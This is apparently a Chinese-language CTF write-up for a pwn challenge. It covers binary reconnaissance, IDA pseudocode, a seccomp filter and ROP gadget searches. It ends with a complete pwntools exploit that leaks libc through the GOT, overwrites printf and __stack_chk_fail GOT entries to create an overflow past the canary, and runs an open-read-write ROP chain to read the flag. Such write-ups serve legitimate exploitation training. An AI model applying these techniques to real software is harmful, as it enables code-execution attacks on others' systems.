chal

chal.zip - 蓝奏云
下面是拿到题目的一些前期工作:

$ file ./pwn
./pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter 
/home/tracs/PWN/FS_PWN/chal/ld.so, for GNU/Linux 3.2.0, BuildID[sha1]=69fabef4050d3fce91d82e06a4720eda3b7c74de, stripped

$ patchelf --interpreter /home/tracs/PWN/FS_PWN/chal/ld.so ./pwn
$ patchelf --replace-needed libc.so.6 ./libc.so ./pwn
$ ldd pwn
        linux-vdso.so.1 (0x00007ffea036e000)
        ./libc.so (0x00007b54c4600000)
        /home/tracs/PWN/FS_PWN/chal/ld.so => /lib64/ld-linux-x86-64.so.2 (0x00007b54c492f000)

$ checksec ./pwn
[*] '/home/tracs/PWN/FS_PWN/chal/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'/home/tracs/PWN/FS_PWN/chal/'
    SHSTK:      Enabled
    IBT:        Enabled

关键:64位文件,提供了libc库,got表可写,No PIE,存在Canary。

下面是IDA内的伪代码(已修改部分函数和变量名):

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rdx
  __int64 v4; // rcx
  __int64 v5; // r8
  __int64 v6; // r9
  int choice; // [rsp+8h] [rbp-38h] BYREF
  int i; // [rsp+Ch] [rbp-34h]
  char *s; // [rsp+10h] [rbp-30h]
  void *buf; // [rsp+18h] [rbp-28h]
  char v12[5]; // [rsp+26h] [rbp-1Ah] BYREF
  char format[13]; // [rsp+2Bh] [rbp-15h] BYREF
  unsigned __int64 v14; // [rsp+38h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  strcpy(format, "bad choice!\n");
  init_0();
  sanbox(a1, (__int64)a2, v3, v4, v5, v6);

  for ( i = 0; ; ++i )
  {
    if ( i > 3 )
      exit(0);
    choice = 0;
    menu();                                     // 1. Read
                                                // 2. Write
                                                // 3. Exit
    __isoc99_scanf("%d", &choice);
    if ( choice == 3 )
      exit(0);
    if ( choice > 3 )
      break;
    if ( choice == 1 )
    {
      buf = (void *)read_num();
      read(0, buf, 4uLL);
    }
    else
    {
      if ( choice != 2 )
        break;
      s = (char *)read_num();
      puts(s);
    }
  }
  strcpy(v12, "bye\n");
  printf(format);
  printf(v12);
  return 0LL;
}

ssize_t menu()
{
  write(1, "1. Read\n", 8uLL);
  write(1, "2. Write\n", 9uLL);
  return write(1, "3. Exit\n", 8uLL);
}

int read_num()
{
  char buf[16]; // [rsp+0h] [rbp-30h] BYREF
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  strcpy(s, "where u want to get?");
  puts(s);
  read(0, buf, 0x10uLL);
  return atoi(buf);
}

关键:存在任意地址写入和读取,可与No PIE结合利用,修改got表或通过读取got表泄露libc地址,但总共可利用4次(但第4次使用后会触发exit,除非修改got.exit,否则将只有3次利用机会);同时发现sanbox存在。

seccomp-tools扫描结果如下:

$ seccomp-tools dump ./pwn
init...
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x06 0x00 0x00 0x00000000  return KILL

发现只能构造ORW的ROP链,但源程序无溢出漏洞并存在Canary检查,故需要先创造溢出漏洞并躲过Canary检查。

寻找gadget构造ROP链:

tracs@A:~/PWN/FS_PWN/chal$ ROPgadget --binary ./libc.so --only "pop|ret" | grep "rdi"
0x000000000002a745 : pop rdi ; pop rbp ; ret
0x000000000002a3e5 : pop rdi ; ret
tracs@A:~/PWN/FS_PWN/chal$ ROPgadget --binary ./libc.so --only "pop|ret" | grep "rsi"
0x000000000002a743 : pop rsi ; pop r15 ; pop rbp ; ret
0x000000000002a3e3 : pop rsi ; pop r15 ; ret
0x000000000002be51 : pop rsi ; ret
tracs@A:~/PWN/FS_PWN/chal$ ROPgadget --binary ./libc.so --only "pop|ret" | grep "rdx"
0x00000000000904a8 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000011f2e7 : pop rdx ; pop r12 ; ret
0x00000000000904a9 : pop rdx ; pop rbx ; ret
0x0000000000108b03 : pop rdx ; pop rcx ; pop rbx ; ret
0x00000000000a5722 : pop rdx ; ret 0x13
0x0000000000170337 : pop rdx ; ret 6
tracs@A:~/PWN/FS_PWN/chal$ ROPgadget --binary ./libc.so --only "syscall"
Gadgets information
============================================================
0x0000000000029db4 : syscall

Unique gadgets found: 1

发现rax、rdi、rsi、rdx都有合适的gadget,但是syscall没有合适的gatget。

下面补充知识点,在libc库的read函数内存在一段合适的syscall_ret:

.text:00000000001147E0                 syscall                 ; LINUX -
.text:00000000001147E2                 cmp     rax, 0FFFFFFFFFFFFF000h
.text:00000000001147E8                 ja      short loc_114840
.text:00000000001147EA                 retn

此处当rax在-1到-0x1000内时,会跳转,绝大对数情况不会跳转,可以直接当syscall_ret使用。

exp如下:

from pwn import *

context(arch='amd64',os='linux')
context.log_level='debug'

pwn='./pwn'
elf=ELF(pwn)
libc=elf.libc

LOCAL=True

if LOCAL:
    io=process(pwn)
else:
    io=remote('xxxxx',12345)

def dbg():
    gdb.attach(io)
    pause()

# Step 1: 泄露puts地址,计算libc基址
io.recvuntil(b'3. Exit\n')
io.sendline(b'2')
io.sendlineafter(b'where u want to get?\n', b'4210712') # got.puts=0x404018=4210712
puts_addr=u64(io.recv(6).strip().ljust(8,b'\x00'))
success(f"puts_addr : {hex(puts_addr)}")

libc_addr=puts_addr-libc.sym['puts']
success(f"libc_addr : {hex(libc_addr)}")
gets_addr=libc_addr+libc.sym['gets']
success(f"gets_addr : {hex(gets_addr)}")
gets_4=gets_addr&0xffffffff
success(f"gets_4 : {hex(gets_4)}")

# Step 2: 覆盖got.printf为got.gets,创造溢出机会;覆盖got.__stack_chk_fail为ret_addr,躲过Canary的检测
io.recvuntil(b'3. Exit\n')
io.sendline(b'1')
io.recvuntil(b'where u want to get?\n')
io.sendline(b'4210736') # got.printf=0x404030=4210736
io.send(p32(gets_4)) # 只接收4字节

io.recvuntil(b'3. Exit\n')
io.sendline(b'1')
io.recvuntil(b'where u want to get?\n')
io.sendline(b'4210728') # got.__stack_chk_fail=0x404028=4210728
ret_addr=0x4016BB
io.send(p32(ret_addr))

# Step 3: 触发构造的溢出,构造ROP链,ORW读取flag
io.recvuntil(b'3. Exit\n')
io.sendline(b'4') # 不要输入3调用exit,会跳过溢出触发  $$$ 此处发送4的同时还会附带一个'\n',而scanf会将'\n'留在缓冲区中,导致gets函数在读取输入时会先读取到这个'\n',从而提前结束输入。

syscall=libc_addr+0x1147E0
pop_rdi=libc_addr+0x2a3e5
pop_rsi=libc_addr+0x2be51
pop_rax_rdx_rbx=libc_addr+0x904a8 # 0x00000000000904a8 : pop rax ; pop rdx ; pop rbx ; ret

def ROP_pay(ax,di,si,dx):
    pay=p64(pop_rdi)+p64(di,signed=True)
    pay+=p64(pop_rsi)+p64(si)
    pay+=p64(pop_rax_rdx_rbx)+p64(ax)+p64(dx)+p64(0)
    pay+=p64(syscall)
    return pay

offest=0x1a+8
flag_addr=0x404800
buf_addr=0x404900

payload_1=b'a'*offest
payload_1+=ROP_pay(0,0,flag_addr,4) # 先把字符串'flag'写到bss段
payload_1+=ROP_pay(257,-100,flag_addr,0x100) # 在当前目录打开名为'flag'的文件
payload_1+=ROP_pay(0,3,buf_addr,0x100) # 把文件'flag'的内容写到bss段
payload_1+=ROP_pay(1,1,buf_addr,0x100) # 把flag写到标准输出

pause()
io.sendline(payload_1) # 源程序for循环外面有两个gets(原printf),但第一个接收了上文$$$处的'\n'。
pause()
io.send(b'flag')

io.interactive()
posted @ 2026-03-07 23:19  Tracs  阅读(5)  评论(0)    收藏  举报